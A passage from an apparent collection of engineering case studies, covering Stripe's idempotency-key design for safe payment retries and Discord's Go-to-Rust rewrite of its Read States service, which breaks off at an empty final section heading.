An **atomic phase** groups database operations that occur between external API calls. Each phase executes in a serializable transaction. If the transaction commits, that phase is complete—even if the process crashes immediately after.

![Diagram](./diagram-1.svg)

### Recovery Points

Recovery points mark phase boundaries. The Rocket Rides reference implementation uses:

| Recovery Point   | State                  | What's Committed                  |
| ---------------- | ---------------------- | --------------------------------- |
| `started`        | Initial                | Idempotency key record created    |
| `ride_created`   | Phase 1 complete       | Local ride record in database     |
| `charge_created` | External call complete | Stripe charge result stored       |
| `finished`       | Request complete       | Response cached, ready for replay |

### Why Serializable Isolation

Stripe uses `SERIALIZABLE` transaction isolation—the strongest level. This prevents:

- **Dirty reads**: Seeing uncommitted data from other transactions
- **Non-repeatable reads**: Same query returning different results within a transaction
- **Phantom reads**: New rows appearing between queries
- **Write skew**: Concurrent transactions making decisions based on stale data

The cost: serialization conflicts cause transaction aborts. Concurrent requests with the same idempotency key will conflict—the second request receives HTTP 409 and must retry.

```ruby title="atomic_phase.rb" collapse={1-3, 12-15}
# Execute a single atomic phase with serializable isolation
# Conflicts result in HTTP 409, instructing client to retry
def execute_phase(key)
  DB.transaction(isolation: :serializable) do
    # Phase operations here
    # All succeed or all fail atomically
    key.update(recovery_point: next_point)
  end
rescue Sequel::SerializationFailure
  # Concurrent modification detected
  halt 409, { error: "Concurrent request in progress" }.to_json
end
```

## Foreign State Mutations

### The Critical Constraint

Once you mutate external state (call Stripe API, send email, trigger webhook), you cannot roll back. The external system has already acted. This is the fundamental difference from local database operations.

**Rule**: Commit all local state _before_ making external calls. If the external call fails, you have a record of the attempt and can retry or recover.

### Chaining Idempotency Keys

When calling external APIs that support idempotency, derive a key from your own:

```ruby title="external_call.rb" collapse={1-4}
# Call Stripe API with derived idempotency key
# The key incorporates our internal key ID to ensure uniqueness
# across retries of the same logical operation
def create_stripe_charge(key, amount, customer)
  Stripe::Charge.create(
    {
      amount: amount,
      currency: 'usd',
      customer: customer
    },
    {
      idempotency_key: "rocket-rides-#{key.id}"
    }
  )
end
```

If your request is retried, the same derived key goes to Stripe. Stripe's idempotency ensures the charge happens exactly once.

### Handling External Failures

| Failure Type      | HTTP Code        | Action                                |
| ----------------- | ---------------- | ------------------------------------- |
| **Recoverable**   | 5xx, timeout     | Retry with same idempotency key       |
| **Client error**  | 4xx (except 409) | Return error, don't retry             |
| **Conflict**      | 409              | Wait, then retry                      |
| **Card declined** | 402              | Return to user, different card needed |

External failures that are _not_ your fault (5xx, network issues) are retryable. Client errors (bad parameters) require the client to fix and retry with a _new_ key.

## Transactionally Staged Job Drains

### The Problem

Consider this naive approach to enqueueing a background job:

```ruby title="naive_job.rb"
DB.transaction do
  create_record(...)
  # Transaction not yet committed!
end
# Process could crash here
Sidekiq.enqueue(SendReceiptJob, record_id)
```

Two failure modes:

1. **Job executes before commit**: Worker tries to read a record that doesn't exist yet
2. **Crash before enqueue**: Record committed but job never queued—receipt never sent

### The Solution: Staged Jobs

Insert jobs into a staging table within the transaction. A separate process drains the table to the job queue.

```sql title="staged_jobs.sql" collapse={1-2}
-- Jobs staged during transactions, drained by background process
-- Provides at-least-once delivery guarantee
CREATE TABLE staged_jobs (
    id       BIGSERIAL PRIMARY KEY,
    job_name TEXT NOT NULL,
    job_args JSONB NOT NULL,
    created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
```

```ruby title="staged_job.rb" collapse={1-3}
# Stage a job within the current transaction
# Job won't be visible until transaction commits
# Enqueuer process will pick it up and move to job queue
DB.transaction do
  ride = Ride.create(...)
  StagedJob.create(
    job_name: 'SendReceiptJob',
    job_args: { ride_id: ride.id }
  )
end
# Both ride and staged job commit atomically
```

### The Enqueuer Process

A dedicated process runs continuously:

1. Acquire distributed lock (prevent multiple enqueuer instances)
2. Select batch of staged jobs
3. Enqueue each to the real job queue (Redis/Sidekiq)
4. Delete staged records only after successful enqueue
5. Release lock, repeat

If the enqueuer crashes mid-batch, jobs remain in the staging table and will be processed on restart. This provides **at-least-once delivery**.

## Background Recovery: The Completer

### Purpose

Requests can fail after partial completion—process crash, network partition, timeout. The completer process finds abandoned requests and finishes them.

### How It Works

1. Query for idempotency keys where `locked_at` is older than grace period (typically 5 minutes)
2. For each abandoned key, read `recovery_point` to determine progress
3. Resume execution from the incomplete phase
4. Complete all remaining phases
5. Cache final response

```ruby title="completer.rb" collapse={1-5, 18-22}
# Background completer process
# Finds abandoned requests and resumes them from last checkpoint
# Grace period prevents competing with still-active requests
# Runs continuously, processing in batches
class Completer
  GRACE_PERIOD = 5.minutes

  def run
    loop do
      abandoned_keys.each do |key|
        resume_from_recovery_point(key)
      end
      sleep 1
    end
  end

  private

  def abandoned_keys
    IdempotencyKey.where('locked_at < ?', Time.now - GRACE_PERIOD)
  end
end
```

### Grace Period Design

The 5-minute grace period balances:

- **Too short**: Completer competes with slow-but-active requests
- **Too long**: Failed requests stay incomplete longer

The Rocket Rides implementation uses 5 minutes. Stripe's production value is not publicly documented but follows similar principles.

## Key Lifecycle and Retention

### The Reaper Process

Idempotency keys can't be retained forever—storage costs grow unboundedly. A reaper process deletes old keys.

| API Version | Retention | Rationale                          |
| ----------- | --------- | ---------------------------------- |
| **v1**      | 24 hours  | Sufficient for immediate retries   |
| **v2**      | 30 days   | Supports async workflows, webhooks |

The Rocket Rides demo uses 72 hours as a middle ground for demonstration purposes.

### After Key Expiration

If a client retries after key expiration, the server treats it as a new request. This could result in duplicate operations if the original succeeded. Mitigation:

- **Natural idempotency**: Some operations are idempotent by nature (update vs. create)
- **Business-level deduplication**: Check if a charge for this order already exists
- **Extended retention (v2)**: 30 days covers most retry scenarios

## API v2 Improvements (2024)

Stripe API v2 addressed several idempotency limitations:

### Before (v1)

- Only POST requests support idempotency keys
- Failed requests return cached error on retry
- Parameter mismatch only detected across endpoints

### After (v2)

- POST and DELETE requests support idempotency keys
- Failed requests are re-executed on retry (may succeed on retry)
- Stricter validation: parameter mismatch detected within same endpoint

The most significant change: **v1 returned cached 500 errors**. If a request failed due to transient server issues, retrying would just return the cached failure. v2 re-attempts the operation, allowing eventual success.

## Error Handling Deep Dive

### HTTP Status Codes

| Code | Meaning        | Idempotency Behavior      | Client Action            |
| ---- | -------------- | ------------------------- | ------------------------ |
| 200  | Success        | Response cached           | Done                     |
| 400  | Bad request    | Not cached                | Fix parameters, new key  |
| 401  | Unauthorized   | Not cached                | Fix authentication       |
| 402  | Payment failed | Cached                    | Return to user, new card |
| 409  | Conflict       | Not cached                | Wait, retry same key     |
| 429  | Rate limited   | Not cached                | Exponential backoff      |
| 5xx  | Server error   | Cached (v1), retried (v2) | Retry same key           |

### The 409 Conflict Response

When concurrent requests use the same idempotency key:

```json
{
  "error": {
    "message": "There is currently another in-progress request using this Idempotent Key",
    "type": "idempotency_error"
  }
}
```

The client should wait briefly (with jitter) and retry. Stripe SDKs handle this automatically.

### Parameter Validation

The idempotency layer compares incoming parameters against the original request:

```json
{
  "error": {
    "message": "Keys for idempotent requests can only be used with the same parameters they were first used with",
    "type": "idempotency_error"
  }
}
```

This prevents a class of bugs where different request bodies accidentally share a key.

## Retry Strategy: Exponential Backoff with Jitter

### Why Jitter Matters

Without jitter, clients retry at predictable intervals. If a server recovers from an outage, all clients retry simultaneously—the **thundering herd problem**. The server immediately fails again under load.

### Algorithm

```
sleep_time = min(initial_delay * 2^(attempt-1), max_delay)
jitter = random(sleep_time/2, sleep_time)
actual_sleep = max(jitter, initial_delay)
```

### SDK Configuration

```ruby title="stripe_config.rb"
Stripe.max_network_retries = 2
# SDK automatically applies exponential backoff with jitter
```

Stripe SDKs since ~2019 automatically retry network failures and 409 conflicts. POST requests automatically include generated idempotency keys if not provided.

## Rate Limiting Integration

### Global Limits

| Mode        | Rate Limit                        |
| ----------- | --------------------------------- |
| **Live**    | 100 operations/second per account |
| **Sandbox** | 25 operations/second              |

### Rate Limit Response Headers

```
Stripe-Should-Retry: true
Stripe-Rate-Limited-Reason: per-second rate limit exceeded
Retry-After: 1
```

`Stripe-Should-Retry: true` indicates the request failed due to rate limiting, not an idempotency issue. The client should backoff and retry with the same idempotency key.

## Webhook Idempotency

### The Challenge

Webhooks are push-based—Stripe calls your server. Network issues can cause:

- **Missed deliveries**: Your server was down
- **Duplicate deliveries**: Response never reached Stripe, so it retried

### Stripe's Approach

- **At-least-once delivery**: Events may arrive multiple times
- **No ordering guarantee**: Event B may arrive before event A
- **Retry window**: Up to 3 days with exponential backoff

### Your Implementation

Track processed event IDs:

```ruby title="webhook_handler.rb" collapse={1-4}
# Handle Stripe webhook with idempotent processing
# Store event IDs to detect duplicates
# Return 200 quickly, process asynchronously
post '/webhooks/stripe' do
  event = verify_webhook_signature(request)

  return 200 if ProcessedEvent.exists?(event_id: event.id)

  DB.transaction do
    ProcessedEvent.create(event_id: event.id)
    # Handle the event
  end

  200
end
```

### Signature Verification

Prevent webhook spoofing by verifying signatures:

1. Extract timestamp and signatures from `Stripe-Signature` header
2. Construct signed payload: `{timestamp}.{request_body}`
3. Compute HMAC-SHA256 with endpoint secret
4. Compare signatures using constant-time comparison
5. Reject if timestamp older than 5 minutes (replay protection)

## Trade-offs and Limitations

### What This Approach Optimizes

| Benefit               | Mechanism                                  |
| --------------------- | ------------------------------------------ |
| **Simplicity**        | No distributed consensus protocols         |
| **Recoverability**    | Database is the source of truth            |
| **Auditability**      | Every step is logged in recoverable state  |
| **Client simplicity** | Retry with same key, system figures it out |

### What It Sacrifices

| Cost                        | Explanation                                  |
| --------------------------- | -------------------------------------------- |
| **Throughput**              | Serializable isolation causes conflicts      |
| **Latency**                 | Additional database round-trips              |
| **Complexity**              | Must carefully design phase boundaries       |
| **External API dependency** | Cannot recover non-idempotent external calls |

### When This Pattern Doesn't Apply

- **Non-idempotent external APIs**: If the external system doesn't support idempotency, you can't safely retry
- **High-frequency operations**: Serializable transactions limit concurrency
- **Eventually consistent systems**: Pattern requires ACID database
- **Cross-datacenter operations**: Serializable isolation is hard to achieve across regions

## Incident: March 2022 Latency Surge

### What Happened

A metadata write path backing payment creation experienced latency spikes:

- Median latency rose from **120ms to over 3 seconds**
- Duration: approximately 3 hours
- Impact: timeouts, retries, duplicate transactions

### Root Cause

1. Traffic increase on metadata write path
2. Unbalanced connection pool favored saturated database cluster
3. Requests queued, latencies increased
4. Clients retried, compounding load
5. Retry storm amplified the failure

### Idempotency During the Incident

Idempotency keys prevented duplicate charges, but:

- Some requests timed out before any phase completed
- Clients retried with same key—good
- High retry volume increased system load—bad
- Clients without proper backoff made it worse

### Resolution

1. Redirected write traffic to standby cluster
2. Rebalanced connection pools
3. Temporary request throttling to drain queues
4. Post-incident: improved client retry guidance

### Lesson

Idempotency prevents duplicates but doesn't prevent retry storms. Clients must implement proper exponential backoff with jitter.

## IETF Standardization

### The Draft

[IETF Draft: The Idempotency-Key HTTP Header Field](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/) formalizes the pattern used by Stripe and others.

### Adopters

- Stripe
- PayPal (`PayPal-Request-Id` header variant)
- Adyen
- Dwolla
- Interledger
- WorldPay
- Yandex

### Stripe's Influence

The draft is essentially a standardization of Stripe's implementation. From Brandur Leach: the draft is "more or less identical to the convention used by Stripe" and "Stripe is living proof that an extremely simple implementation goes a long way."

## Applying This to Your System

### When This Pattern Applies

You should consider idempotency keys if:

- [ ] Your API performs non-idempotent operations (POST, DELETE)
- [ ] Network failures between client and server are possible (always true)
- [ ] Duplicate operations have business impact (charges, inventory, notifications)
- [ ] You have an ACID-compliant database
- [ ] You call external APIs that support idempotency

### Implementation Checklist

1. **Design phase boundaries**: Identify external calls, group local operations between them
2. **Create idempotency table**: Track key, recovery point, request/response
3. **Implement locking**: Prevent concurrent processing of same key
4. **Add recovery points**: Checkpoint after each phase
5. **Build completer**: Background process to resume abandoned requests
6. **Build reaper**: Cleanup old keys after retention period
7. **Stage jobs transactionally**: Don't enqueue directly from transactions
8. **Instrument retries**: Track retry rates, detect thundering herds

### Starting Points

**Minimal implementation**:

1. Idempotency key table with unique constraint
2. Response caching (skip re-execution if response exists)
3. Parameter validation (reject mismatched retries)

This covers 80% of cases. Add recovery points and completer for operations with multiple phases.

**Reference implementation**: [brandur/rocket-rides-atomic](https://github.com/brandur/rocket-rides-atomic)

## Conclusion

Stripe's idempotency system demonstrates that reliable distributed operations don't require complex consensus protocols. By using the database as the coordination layer—with serializable transactions, recovery points, and transactionally staged jobs—they achieve exactly-once semantics for payment processing.

The key insight is separating what can be retried (local database operations) from what cannot (external API calls), and checkpointing progress between them. When failures occur, the system knows exactly where it stopped and can resume safely.

The trade-off is throughput: serializable isolation limits concurrency, and recovery adds complexity. For payment processing, where correctness matters more than raw performance, this trade-off is clearly worthwhile. Stripe's 99.999% uptime while processing $1 trillion annually validates the approach.

## Appendix

### Prerequisites

- Understanding of ACID database transactions and isolation levels
- Familiarity with HTTP APIs and retry semantics
- Basic knowledge of distributed systems failure modes

### Terminology

- **Idempotency**: Property where multiple identical requests produce the same result as a single request
- **Atomic phase**: Set of database operations that commit or fail together, bounded by external calls
- **Recovery point**: Checkpoint marking completion of an atomic phase
- **Serializable isolation**: Strictest transaction isolation level; transactions appear to execute sequentially
- **Thundering herd**: Pattern where many clients retry simultaneously, overwhelming the server
- **Staged job**: Background job stored in database (not job queue) until transaction commits

### Summary

- Stripe uses idempotency keys to make payment APIs safe to retry
- Keys are stored in database with recovery points tracking progress through atomic phases
- Each phase commits in a serializable transaction; crashes resume from last checkpoint
- Background jobs are staged in the database, then drained to job queues—preventing lost work
- Completer process finds abandoned requests and completes them
- API v2 (2024) improved handling: failed requests are re-executed instead of returning cached errors
- Pattern requires ACID database; doesn't work with eventually consistent stores
- Clients must implement exponential backoff with jitter to prevent retry storms

### References

- [Stripe Blog: Designing robust and predictable APIs with idempotency](https://stripe.com/blog/idempotency) - Original architecture post by Brandur Leach (2017)
- [Stripe API Documentation: Idempotent requests](https://docs.stripe.com/api/idempotent_requests) - Official API reference
- [Brandur Leach: Implementing Stripe-like Idempotency Keys in Postgres](https://brandur.org/idempotency-keys) - Detailed implementation guide
- [Brandur Leach: Transactionally Staged Job Drains in Postgres](https://brandur.org/job-drain) - Background job pattern
- [GitHub: brandur/rocket-rides-atomic](https://github.com/brandur/rocket-rides-atomic) - Reference implementation
- [Stripe API Documentation: Error handling](https://docs.stripe.com/error-low-level) - HTTP status codes and retry guidance
- [Stripe API Documentation: Rate limits](https://docs.stripe.com/rate-limits) - Rate limiting details
- [Stripe API Documentation: API v2 overview](https://docs.stripe.com/api-v2-overview) - v2 improvements
- [Stripe Blog: How Stripe's document databases supported 99.999% uptime](https://stripe.com/blog/how-stripes-document-databases-supported-99.999-uptime-with-zero-downtime-data-migrations) - Infrastructure scale
- [IETF Draft: The Idempotency-Key HTTP Header Field](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/) - Standardization effort
- [Brandur Leach: Stripe V2 analysis](https://brandur.org/fragments/stripe-v2) - Analysis of API v2 changes
- [Stripe Documentation: Webhooks](https://docs.stripe.com/webhooks) - Webhook delivery semantics

---

## Discord: Rewriting Read States from Go to Rust

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/discord-rust-read-states
**Category:** System Design / Real-World Case Studies
**Description:** How Discord eliminated periodic latency spikes in their most heavily accessed service by rewriting it from Go to Rust—and why the garbage collector, not the application code, was the bottleneck. The Read States service tracks which channels every user has read across billions of states, and its performance directly affects every connection, every message send, and every message acknowledgment on the platform.

# Discord: Rewriting Read States from Go to Rust

How Discord eliminated periodic latency spikes in their most heavily accessed service by rewriting it from Go to Rust—and why the garbage collector, not the application code, was the bottleneck. The Read States service tracks which channels every user has read across billions of states, and its performance directly affects every connection, every message send, and every message acknowledgment on the platform.

<figure>

![Discord's Read States service before and after the Rust rewrite. The Go GC had to scan the entire LRU cache every 2 minutes; Rust's ownership model frees evicted entries immediately with zero scanning overhead.](./discord-s-read-states-service-before-and-after-the-rust-rewrite-the-go-gc-had-to.svg)

<figcaption>Discord's Read States service before and after the Rust rewrite. The Go GC had to scan the entire LRU cache every 2 minutes; Rust's ownership model frees evicted entries immediately with zero scanning overhead.</figcaption>
</figure>

## Abstract

Discord's Read States service is a cache-heavy, latency-sensitive system that tracks per-user, per-channel read positions across billions of states. The Go implementation suffered periodic latency spikes of 10–40 ms every ~2 minutes—not because of application bugs, but because Go's garbage collector must scan the entire live heap to determine reachability, and the service held tens of millions of live objects in an LRU (Least Recently Used) cache.

The core mental model:

| Aspect               | Go (GC-managed)                                                     | Rust (ownership-managed)                             |
| -------------------- | ------------------------------------------------------------------- | ---------------------------------------------------- |
| Cache eviction       | Entry becomes garbage; freed at next GC cycle                       | Entry freed immediately when owner goes out of scope |
| Live heap scanning   | Every GC cycle scans all live objects—cost is linear with live heap | No scanning—no GC exists                             |
| Forced periodic GC   | sysmon forces GC every 2 min minimum                                | N/A                                                  |
| Cache size trade-off | Larger cache = worse GC pauses                                      | Larger cache = better hit rate, zero GC cost         |
| Latency pattern      | Sawtooth with periodic spikes                                       | Flat and deterministic                               |

The transferable insight: for services with large in-memory caches (millions of live objects), GC cost scales with _live_ heap size, not garbage volume. Tuning GOGC, shrinking the cache, or partitioning cannot fix this—the only structural fix is eliminating the GC entirely. Rust's ownership model provides deterministic deallocation at the exact point where the application knows the data is dead, with zero runtime overhead.

## Context

### The System

Discord's Read States service tracks which channels and messages each user has read. There is one Read State per user per channel, containing:

- **channel_id** — the channel this state applies to
- **last_message_id** — the Snowflake ID of the last message the user acknowledged
- **mention_count** — number of unread @mentions in that channel

This data powers the unread indicator (white dot on channels), @mention badge counts on servers and channels, and notification state across all devices.

The service sits in the **hot path** of three critical flows:

1. **User connection**: the WebSocket `READY` event includes the full read states array
2. **Message send**: updates mention counts for @mentioned users
3. **Message acknowledgment**: updates `last_message_id` when a user reads a channel

### Scale at the Time of Rewrite (~2019)

| Metric                                  | Value                 |
| --------------------------------------- | --------------------- |
| Total read states                       | Billions              |
| Read states per server node (LRU cache) | Tens of millions      |
| Cache updates per second                | Hundreds of thousands |
| Database writes per second              | Tens of thousands     |
| Backing store                           | Cassandra             |

### Architecture

Each Read States server node maintains an in-memory LRU cache backed by Cassandra:

1. **Read path**: Check the LRU cache first. On cache miss, load from Cassandra and insert into the cache.
2. **Write path**: Update the Read State atomically in the LRU cache. Schedule a Cassandra write 30 seconds in the future (batching dirty entries).
3. **Eviction path**: When the LRU evicts an entry, commit it to Cassandra immediately before freeing memory.

> **Prior to the Go implementation**, Read States used Redis with Lua scripts for atomic counter operations. That approach hit performance limits at Discord's scale, leading to the Go service backed by Cassandra.

### Constraints

- **Latency budget**: Microseconds for cache hits. The service is in-process; external caches like Redis or Memcached add 1–2 ms of network overhead per request, which was unacceptable.
- **Cache size**: The LRU must hold millions of entries per node—fewer entries mean more cache misses and more Cassandra reads, directly increasing tail latency.
- **Availability**: Read States is accessed on every connection and every message—any degradation is immediately visible to all users.

## The Problem

### Symptoms

The Go implementation exhibited a distinctive **sawtooth latency pattern**: every roughly 2 minutes, response times spiked from microseconds to **10–40 milliseconds**, with corresponding CPU spikes. The pattern was perfectly periodic, independent of traffic volume, and affected every node identically.

<figure>

![Stylized representation of the Go service's sawtooth latency pattern. Every ~2 minutes, latency spiked to 10–40 ms before returning to baseline. Based on the latency chart from Discord's engineering blog.](./stylized-representation-of-the-go-service-s-sawtooth-latency-pattern-every-2-min.svg)

<figcaption>Stylized representation of the Go service's sawtooth latency pattern. Every ~2 minutes, latency spiked to 10–40 ms before returning to baseline. Based on the latency chart from Discord's engineering blog.</figcaption>
</figure>

### Root Cause Analysis

**Investigation process:**

1. **Profiling the application**: Discord's engineers confirmed the service itself was well-optimized—minimal allocations, efficient data structures, and tight code paths. The spikes did not correlate with any application-level event.
2. **Correlating with GC activity**: The spikes aligned exactly with Go's garbage collection cycles. CPU usage spiked during GC, and latency returned to baseline once GC completed.
3. **The "aha" moment**: The spikes were not caused by a large volume of garbage to collect. They were caused by the GC **scanning the entire live heap**—tens of millions of LRU cache entries—to determine which memory was reachable.

**The actual root cause**: Go's tri-color mark-and-sweep GC (Garbage Collector) must trace every pointer in every live object during the mark phase. The cost of this phase is **linear with live heap size**, not garbage volume. With tens of millions of cache entries, the mark phase consumed significant CPU even though the amount of actual garbage was minimal.

### Why the 2-Minute Cycle Was Inescapable

Go's runtime includes a background monitor goroutine (`sysmon`) that forces a garbage collection if none has occurred in the last 2 minutes (`forcegcperiod`). This is hardcoded in the Go runtime. Even if the service allocates almost no new memory—meaning the heap-growth-based GOGC trigger never fires—`sysmon` forces a full GC every 2 minutes regardless.

For a service with a massive live heap and minimal garbage production, this creates an unavoidable periodic penalty: the forced GC must walk the entire live heap even when there is almost nothing to collect.

### Go GC Tuning Attempts

Discord's team exhaustively tuned the Go runtime before considering a rewrite:

| Approach                                                                              | Result                                                                                                                              |
| ------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| **Dynamic GOGC tuning** (built an endpoint to adjust GC target percentage on the fly) | No improvement—the service produced too little garbage for GOGC thresholds to matter; the 2-minute forced GC was always the trigger |
| **Reducing LRU cache capacity**                                                       | Smaller GC spikes, but **higher p99 latency**—fewer cache entries meant more cache misses and more Cassandra reads                  |
| **Partitioning into many smaller LRU caches** per node                                | Spread GC overhead but did not eliminate it; total scan time remained proportional to total live objects                            |
| **Upgrading Go versions** (tested Go 1.8, 1.9, 1.10)                                  | No measurable improvement on this workload                                                                                          |
| **Off-heap data structures**                                                          | Considered but rejected—would undermine Go's memory safety guarantees and make code harder to maintain                              |

The team was running **Go 1.9.2** (October 2017). Community observers later noted that Go 1.12 (February 2019) included sweep-time improvements for heaps with a large fraction of live data, but Discord had already committed to the Rust rewrite by May 2019.

### Why It Wasn't Obvious

- **The service was "hyper hand-tuned"**: Minimal allocations, efficient data structures, and tight code paths. The problem was not in the application code—it was in the runtime.
- **GC pauses are concurrent in Go**: Unlike stop-the-world collectors, Go's mark phase runs alongside application goroutines. The impact is not a hard pause but a gradual CPU tax and GC assist pressure that degrades request latency.
- **Smaller cache = worse overall latency**: The obvious fix (reduce live objects to reduce scan cost) made the service worse because cache hit rate dropped, pushing more traffic to Cassandra.

## Options Considered

### Option 1: Continue Tuning Go

**Approach:** Further optimize the Go implementation—potentially using memory ballast (a technique popularized by Twitch), upgrading to newer Go versions with improved GC, or restructuring data to minimize pointer density.

**Pros:**

- No language migration risk
- Team already had Go expertise
- Twitch's memory ballast technique showed 99% GC cycle reduction in similar scenarios

**Cons:**

- The fundamental problem (GC scan cost proportional to live heap) cannot be eliminated within a GC runtime
- Memory ballast is a workaround, not a fix—it delays GC but does not reduce scan cost
- Larger cache capacity (the primary performance lever) would always be penalized by GC

**Why not chosen:** The team had already exhausted the primary tuning knobs. Even with ballast or newer Go versions, any service holding millions of live objects would pay a GC tax proportional to those objects. The problem was architectural, not configurational.

### Option 2: External Cache (Redis/Memcached)

**Approach:** Move the LRU cache out of the application process into a dedicated caching layer.

**Pros:**

- Eliminates in-process GC pressure
- Proven technology at scale

**Cons:**

- Adds 1–2 ms network overhead per cache operation
- Read States requires microsecond-level latency for cache hits—external caches cannot provide this
- Increases operational complexity (another service to manage)
- Atomic counter updates become distributed operations

**Why not chosen:** The service's latency requirements made external caching nonviable. Discord had previously used Redis with Lua scripts for Read States and moved away from it specifically because of latency overhead.

### Option 3: Rewrite in Rust

**Approach:** Port the service to Rust, leveraging its ownership model for deterministic memory management without GC.

**Pros:**

- Zero GC overhead—cache entries freed immediately on eviction
- Larger cache capacity improves hit rate without GC penalty
- Rust's type system and ownership model provide memory safety without runtime cost
- Discord already had positive experience with Rust (Elixir NIFs, video encoding pipeline)

**Cons:**

- Team needed to learn Rust (steeper learning curve than Go)
- Async Rust was immature in early 2019 (pre-stabilization of async/await)
- Smaller ecosystem than Go for certain libraries

**Why chosen:** Rust eliminates the structural cause of the problem. In Go, evicted cache entries linger as garbage until GC runs; in Rust, they are freed at the exact point of eviction via the `Drop` trait. There is no periodic scanning of live objects because there is no GC.

### Decision Factors

| Factor                        | Continue Go     | External Cache                      | Rewrite in Rust       |
| ----------------------------- | --------------- | ----------------------------------- | --------------------- |
| Eliminates GC overhead        | No              | Partially (moves it out of process) | Yes                   |
| Cache hit latency             | Microseconds    | Milliseconds                        | Microseconds          |
| Larger cache capacity benefit | Penalized by GC | N/A                                 | Pure benefit          |
| Team expertise (at the time)  | High            | High                                | Moderate (growing)    |
| Maintenance complexity        | Low             | Medium (additional service)         | Medium (new language) |

## Implementation

### Architecture: Before and After

The service architecture remained conceptually identical—an LRU cache backed by Cassandra with the same read/write/eviction paths. The critical difference was in memory management behavior.

**Before (Go):**

```
Request → LRU Cache (HashMap, Go-managed heap)
                ↓ eviction
         GC eventually frees memory
         (scans entire cache every ~2 min)
                ↓ persist
            Cassandra
```

**After (Rust):**

```
Request → LRU Cache (BTreeMap, Rust ownership)
                ↓ eviction
         Drop trait frees memory immediately
         (zero scanning, deterministic)
                ↓ persist
            Cassandra
```

### Technical Details

#### Why Rust's Ownership Model Solves This

In Go, when a cache entry is evicted from the LRU, the memory is not freed. The entry becomes _garbage_—memory that is no longer referenced but has not been reclaimed. The GC must scan the entire heap during the mark phase to confirm this. With tens of millions of live entries, the scan takes significant CPU time.

In Rust, memory is managed through ownership:

1. Each value has exactly one owner (a variable or data structure field)
2. When the owner goes out of scope, the compiler inserts a `Drop` call that frees the memory
3. There is no runtime scanner, no mark phase, no periodic GC

For the LRU cache, this means: when an entry is evicted, ownership transfers out of the cache. When the eviction function returns and the local variable goes out of scope, `Drop` runs and the memory is freed—at that exact instruction, deterministically.

#### Data Structure: HashMap to BTreeMap

The initial Rust port used a `HashMap` internally for O(1) lookups in the LRU cache, mirroring the Go implementation. After profiling, the team switched to a `BTreeMap` (B-tree with O(log n) lookups):

- **HashMaps** pre-allocate many empty slots to maintain their load factor. With millions of entries, the unused slot overhead was significant.
- **BTreeMaps** store entries in nodes, allocating only what is needed. The memory savings were substantial at the scale of millions of entries.
- The O(log n) lookup cost was acceptable because the constant factors are small and the data structure has better cache locality for iteration patterns common in LRU eviction.

#### Async Runtime: Tokio

The Rust rewrite used the **Tokio** async runtime. In early 2019, Rust's `async`/`await` syntax was not yet stabilized (it shipped in Rust 1.39, November 2019). The team used nightly Rust with the community async ecosystem, which required what the team described as "significant ceremony with extremely obtuse error messages."

During deployment, Tokio released version 0.2—a major rewrite of the runtime. Discord upgraded and received CPU performance improvements for free, without any application code changes.

A Discord engineer specifically noted Rust's futures model as a developer experience improvement over Go: dropping a future cancels it automatically, compared to Go's pattern of threading `context.Context` through every function for cancellation.

#### Post-Launch Optimizations

After the initial port, the team made several optimizations that the Rust implementation enabled:

1. **Increased cache capacity to 8 million entries**: In Go, larger caches meant worse GC pauses. In Rust, larger caches meant better hit rates with zero GC penalty.
2. **Optimized data structures for memory efficiency**: Reduced unnecessary copies, switched to BTreeMap.
3. **Upgraded the metrics library**: Replaced the metrics implementation with one using modern Rust concurrency primitives.
4. **Increased server memory allocation**: With GC overhead eliminated, more memory could be dedicated to the cache itself rather than reserved as GC headroom.

### Migration Strategy

The Read States service was described as "small and self-contained," making it a tractable rewrite target. The initial Rust port was completed by **May 2019**. The blog post documenting the migration was published in **February 2020**, indicating a multi-month validation period in production.

Discord did not publish specific details about their rollout strategy (canary percentages, phased migration steps, or rollback mechanisms) for this particular service. However, the service's self-contained nature—a single cache-backed service with a clear Cassandra persistence layer—meant rollback would involve routing traffic back to the Go implementation.

### Challenges Encountered

**Challenge 1: Async Rust immaturity**

- **Impact:** Development velocity was slower than expected due to nightly-only async features, opaque compiler errors, and a rapidly evolving ecosystem.
- **Resolution:** The team pushed through the initial friction. The ecosystem stabilized over the following months (async/await in Rust 1.39, Tokio 0.2 release).
- **Takeaway:** Adopting async Rust in 2019 required tolerance for instability that would not be necessary today.

**Challenge 2: Team learning curve**

- **Impact:** Rust's ownership model and borrow checker required a mental model shift from Go's garbage-collected approach.
- **Resolution:** The team found that once they internalized the ownership model, the compiler's strict enforcement caught bugs that would have been runtime errors in Go.

## Outcome

### Metrics Comparison

| Metric                  | Go                               | Rust                  | Change                         |
| ----------------------- | -------------------------------- | --------------------- | ------------------------------ |
| Average response time   | Low milliseconds                 | **Microseconds**      | Order of magnitude improvement |
| Periodic latency spikes | 10–40 ms every ~2 min            | **None**              | Eliminated                     |
| Latency pattern         | Sawtooth (periodic spikes)       | **Flat line**         | Deterministic performance      |
| LRU cache capacity      | Constrained (to limit GC impact) | **8 million entries** | Unconstrained by GC            |
| CPU spike during GC     | Visible every ~2 min             | **None**              | No GC exists                   |

> **Note:** Discord's blog post presents before/after comparisons as charts rather than exact percentile values. The improvements are qualitative (flat vs. sawtooth) rather than precise p99 numbers. Third-party analysis of the charts estimated roughly **6.5x improvement at best case and up to 160x at worst case** (during Go's GC spikes), but these numbers are approximate visual readings.

### Timeline

- **~2017–2018**: Go implementation in production, periodic latency spikes observed
- **2018–early 2019**: Extensive Go GC tuning attempts (GOGC, cache partitioning, version upgrades)
- **~May 2019**: Rust rewrite completed and deployed
- **February 4, 2020**: Blog post published by Jesse Howarth (Staff Software Engineer, Infrastructure)

### Unexpected Benefits

- **Larger cache = better performance**: In Go, increasing cache size worsened GC pauses, creating a painful trade-off. In Rust, increasing cache size purely improved hit rates with no downside—more memory allocated to the cache translated directly to fewer Cassandra reads and lower tail latency.
- **Tokio 0.2 upgrade was free**: When Tokio released a rewritten runtime during Discord's deployment, they upgraded and received CPU improvements without application code changes.
- **Developer experience gains**: The Rust compiler's strict enforcement of ownership rules caught categories of bugs (data races, use-after-free, double-free) at compile time that would have been runtime errors in Go.

### Remaining Limitations

